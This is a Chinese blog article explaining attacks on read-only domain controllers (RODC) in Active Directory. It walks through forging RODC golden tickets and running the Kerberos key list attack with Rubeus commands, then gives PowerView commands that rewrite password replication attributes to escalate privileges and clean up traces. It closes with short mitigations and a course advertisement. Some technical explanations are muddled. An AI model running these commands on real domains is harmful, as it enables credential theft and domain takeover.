只读域控制器RODC是难打还是不能打?

只读域控制器(RODC)是一种微软 Windows Server操作系统的角色,它提供了一种安全的方式来将Active
Directory服务扩展到安全较低的网络边缘。RODC只允许只读访问,不允许对 Active
Directory的数据进行修改,这使得它们成为支持远程办公、分布式办公和边缘部署等场景的理想选择。

然而,与任何安全策略一样,RODC也存在一些潜在的安全风险。在使用RODC时,需要认真考虑安全因素,并采取适当的措施来缓解这些风险。在本文中,我们将探讨
RODC 的安全风险,并提供一些防范措施,以确保其安全性。

一、RODC中的管理员

RODC
ManagedBy属性值可以用于指定RODC的管理员,这样可以确保只有授权的用户或组才能管理RODC。指定ManagedBy属性值时,可以选择指定一个用户或组。当指定一个组时,该组中的成员都将被授予对RODC的管理权限。这样可以简化管理,避免逐个指定每个管理员。

当获取了RODC
ManagedBy属性中列出的账户权限,就可以在RODC上拥有本地管理员权限。如果获取了具有委派权限来修改RODC的ManagedBy属性的账户权限,同样也可以成为管理员。

因此,对于ManagedBy属性值,必须进行适当的管理和保护,以确保只有授权的用户或组才能进行RODC的管理操作。同时,也需要定期审查ManagedBy属性值,以确保其仍然是最新的和正确的。

v2-ceae45b24e6e38c1365f13e1e563faba_1440w.webp

二、RODC中的身份验证

在Windows Server 2008中引入RODC时,Microsoft强制规定RODC不得使用 Kerberos
TGT加密。这是因为TGT是Active
Directory中用于加密用户身份验证凭据的关键密钥之一。如果TGT的密钥被泄露,攻击者就可以使用该密钥解密用户身份验证凭据,从而获取用户的用户名和密码。

为了加强安全性,RODC引入了一种新的加密机制:不可逆转的密码加密。该机制使用一个密码复制策略来控制RODC缓存的用户密码。密码复制策略由域管理员在Active
Directory中配置,并指定哪些用户的密码可以被RODC缓存,以及在RODC上缓存的密码是否可被解密。只有在密码复制策略明确允许的情况下,RODC才会缓存用户密码。这可以避免密码被泄露,提高RODC的安全性。

为此,RODC还引入了两个重要的属性:msDS-RevealOnDemandGroup和msDS-NeverRevealGroup。

msDS-
RevealOnDemandGroup属性指定了一组可以在RODC上缓存其成员身份的安全组。如果用户是该组的成员,RODC将在需要时向上级域控制器请求其身份信息,并将其缓存在本地。这可以提高身份验证速度和效率。

v2-582d775d6cf529bb91a82368eba8ec52_1440w.webp

msDS-
NeverRevealGroup属性指定了一组不允许在RODC上缓存其成员身份的安全组。如果用户是该组的成员,则其身份信息将始终从上级域控制器请求,并不会缓存在RODC上。这可以保护敏感信息,避免在RODC上泄露。

v2-d54126b8c6125d51255cc2a95fa42ea8_1440w.webp

其中后者的优先级最高,当某用户或组同时存在于两个属性当中,RODC无法检索其凭据。

v2-fc5ee1646079806b18e4097be9f01f55_1440w.webp

进行身份验证时,RODC需要访问用户和计算机的凭据来在本地对它们进行身份验证。每个RODC都有一个特定的主体列表,它被指定为要认证的主体,并因此允许检索其凭据。这个列表存储在RODC的机器账户的msDS-
RevealOnDemandGroup属性中。

在认证用户或计算机之后需要生成TGT,而RODC并不能使用域中kertgt密钥来对TGT进行加密和签名,因此当某服务器提升为RODC的时候,AD域会创建一个新的krbtgt账户,此用户被分配一个五位数的密钥版本号,同时此账号的名称为krbtgt_xxxxx,此账号的名称可以在RODC机器账户的msDS-
KrbTgtLink属性中找到,而五位数的密钥版本号和机器账户的名称可以在新的KRBTGT帐户的msDS-
SecondaryKrbTgtNumber和msDS-KrbTgtLinkBl属性中找到。

PS > Get-ADComputer RODC -Properties msDS-KrbTgtLink

v2-40eaa2ef0e5856bf3f0503b49e04314b_1440w.webp

PS > Get-ADUser krbtgt_23165 -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl

v2-04189f9d492425a77abbc7ddfc9a74e9_1440w.webp

三、RODC黄金票据

当获得RODC管理员权限时,可以dump缓存在RODC中的凭据,例如krbtgt凭据,因此可以伪造一个RODC的黄金票据。

使用Rubeus来创建一个黄金票据,rodcNumber代表RODC中krbtgt的密钥版本号,aes256代表RODC
krbtgt用户的密钥,id为要制作票据用户的rid,最后还需要域名和域内sid的值。

Rubeus.exe golden /rodcNumber:23165
/aes256:eacd894dd0d93…7a0ebbfa64c7545 /user:administrator
/id:500
/domain:http://test.com
/sid:S-1-5-21-1281121768-1524864103-2976670869

v2-9e3dadb5df0e772882b68ee7168a768e_1440w.webp

四、密钥列表攻击

之后将这个黄金票据用于向域控发送kebtgt服务的TGS-REQ,TGS-REQ包含“Key List Request”(KERB-KEY-LIST-
REQ),KERB-KEY-LIST-REQ 结构用于请求KDC 可以提供给客户端的密钥类型列表。

v2-93355169dd544882afdb92dc83aa0c20_1440w.webp

如果目标账户在RODC的msDS-RevealOnDemandGroup属性中且不在msDS-NeverRevealGroup属性中,TGS-
REP将返回一个包含目标用户凭证的KERB-KEY-LIST-REP结构,解密后,可以获得其hash从而进行hash传递攻击。

下面由rubeus工具和上面制作的票据来完成key list攻击:

Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/dc.relay.com /dc:dc.relay.com /ticket:doIFgzCCBX+gAwIBBaEDA…..

v2-92c9e86b90f595a7616956bb9018979f_1440w.webp

五、域内权限提升

经过上面的描述可以看出,当获取到RODC的本地管理员权限时,可以获取到在msDS-RevealOnDemandGroup属性中而不在msDS-
NeverRevealGroup属性中的用户,因此,如果我们可以操作这两个属性,就可以加入administrator账户,实现提权。

具体过程:

1.首先将域管理员账户添加到msDS-RevealOnDemandGroup 属性中。

PS > Set-DomainObject -Identity RODC$ -Set @{‘msDS-RevealOnDemandGroup’=@(‘CN=Allowed RODC Password Replication Group,CN=Users,DC=relay,DC=com’, ‘ CN=Administrator,CN=Users,DC=relay,DC=com’)}

2.然后将msDS-NeverRevealGroup 属性直接清空。

PS > Set-DomainObject -Identity RODC$ -Clear ‘msDS-NeverRevealGroup’

3.通过修改ManagedBy属性,获得RODC的特权访问以获取缓存凭据的访问权限。

4.之后跟前面提到的一样,伪造目标账户的RODC TGT,并请求key list attack攻击,获取到域管理员凭据。

5.最后进行清理痕迹,还原RODC的msDS-RevealOnDemandGroup和msDS-NeverRevealGroup的属性值。

这种方法与key list attack的区别就是此权限提升方式需要具备更改写入RODC msDS-
RevealOnDemandGroup等属性的权限,即GenericWrite,GenericAll,WriteDacl,Owns,WriteOwner,WriteProperty等访问权限。

六、总结

总结来说,RODC虽然具有许多优点,但与可写DC可能存在相同的安全风险等级,因此RODC和可写DC一样需要采取适当的安全措施来保护RODC,以确保它的安全使用。这包括在RODC上实施最小权限原则、定期进行安全审计、强制实施复杂的密码策略等。

另外针对本文讲解的相关攻击手法,可以采用如下措施帮助缓解:

1.审核所有RODC的msDS-RevealOnDemandGroup属性,确保它不包含任何域管理员组账户。

2.将所有管理员组账户添加到Denied RODC密码复制组,并将该组添加到所有RODC的msDS-NeverRevealGroup属性中。

1.审核所有RODC的msDS-RevealOnDemandGroup属性,确保它不包含任何域管理员组账户。

2.将所有管理员组账户添加到Denied RODC密码复制组,并将该组添加到所有RODC的msDS-NeverRevealGroup属性中。

网络安全学习路线

这是一份网络安全从零基础到进阶的学习路线大纲全览,小伙伴们记得点个收藏!

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nl2dHeaK-1691637783090)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]编辑

阶段一:基础入门

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QgA5hhLz-1691637783091)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

网络安全导论

渗透测试基础

网络基础

操作系统基础

Web安全基础

数据库基础

编程基础

CTF基础

该阶段学完即可年薪15w+

阶段二:技术进阶(到了这一步你才算入门)

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecoyU5Sy-1691637783093)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三:高阶提升

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qN6fl4lE-1691637783094)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

阶段四:蓝队课程

img[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6xrU2ukq-1691637783095)(data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)]

蓝队基础

蓝队进阶

该部分主攻蓝队的防御,即更容易被大家理解的网络安全工程师。

攻防兼备,年薪收入可以达到40w+

阶段五:面试指南&阶段六:升级内容

img

需要上述路线图对应的网络安全配套视频、源码以及更多网络安全相关书籍&面试题等内容

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

同学们可以扫描下方二维码获取哦!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值